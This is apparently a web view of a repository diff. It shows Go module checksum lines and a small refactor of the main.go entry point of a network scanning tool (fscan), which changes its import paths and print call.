golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
|
||||||
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
|
||||||
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
|
||||||
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
|
||||||
golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
|
||||||
golang.org/x/net v0.0.0-20200505041828-1ed23360d12c h1:zJ0mtu4jCalhKg6Oaukv6iIkb+cOvDrajDH9DH46Q4M=
|
|
||||||
golang.org/x/net v0.0.0-20200505041828-1ed23360d12c/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
|
|
||||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
|
||||||
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
|
||||||
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
|
||||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
|
||||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
|
||||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
|
||||||
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20200501145240-bc7a7d42d5c3 h1:5B6i6EAiSYyejWfvc5Rc9BbI3rzIsrrXfAQBWnYfn+w=
|
|
||||||
golang.org/x/sys v0.0.0-20200501145240-bc7a7d42d5c3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/term v0.0.0-20201113234701-d7a72108b828 h1:htWEtQEuEVJ4tU/Ngx7Cd/4Q7e3A5Up1owgyBtVsTwk=
|
|
||||||
golang.org/x/term v0.0.0-20201113234701-d7a72108b828/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
|
|
||||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
|
||||||
golang.org/x/text v0.3.2 h1:tW2bmiBqwgJj/UpqtC8EpXEZVYOwU0yG4iWbprSVAcs=
|
|
||||||
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
|
|
||||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
|
||||||
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
|
||||||
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
|
|
||||||
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
|
|
||||||
golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
|
|
||||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4=
|
|
||||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
|
||||||
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
|
|
||||||
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
|
|
||||||
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
|
|
||||||
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
|
|
||||||
google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
|
|
||||||
google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84 h1:pSLkPbrjnPyLDYUO2VM9mDLqo2V6CFBY84lFSZAfoi4=
|
|
||||||
google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
|
|
||||||
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
|
|
||||||
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
|
|
||||||
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
|
|
||||||
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
|
|
||||||
google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
|
|
||||||
google.golang.org/grpc v1.29.1 h1:EC2SB8S04d2r73uptxphDSUG+kTKVgjRPF+N3xpxRB4=
|
|
||||||
google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
|
|
||||||
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
|
|
||||||
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
|
|
||||||
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
|
|
||||||
google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
|
|
||||||
google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
|
|
||||||
google.golang.org/protobuf v1.22.0 h1:cJv5/xdbk1NnMPR1VP9+HU6gupuG9MLBoH1r6RHZ2MY=
|
|
||||||
google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
|
||||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
|
|
||||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
|
||||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
|
||||||
gopkg.in/yaml.v3 v3.0.0-20200615113413-eeeca48fe776 h1:tQIYjPdBoyREyB9XMu+nnTclpTYkz2zFM+lzLJFO4gQ=
|
|
||||||
gopkg.in/yaml.v3 v3.0.0-20200615113413-eeeca48fe776/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
|
||||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
|
||||||
honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
|
||||||
Binary file not shown.
|
Before Width: | Height: | Size: 489 KiB |
@@ -1,14 +1,20 @@
|
|||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"github.com/shadow1ng/fscan/Plugins"
|
"./common"
|
||||||
"github.com/shadow1ng/fscan/common"
|
"./Plugins"
|
||||||
|
"fmt"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
var Info common.HostInfo
|
var Info common.HostInfo
|
||||||
common.Flag(&Info)
|
common.Flag(&Info) //fmt.Println(Info.Host,Info.Ports)
|
||||||
common.Parse(&Info)
|
common.Parse(&Info)
|
||||||
Plugins.Scan(Info)
|
Plugins.Scan(&Info)
|
||||||
print("scan end\n")
|
fmt.Println("scan end")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user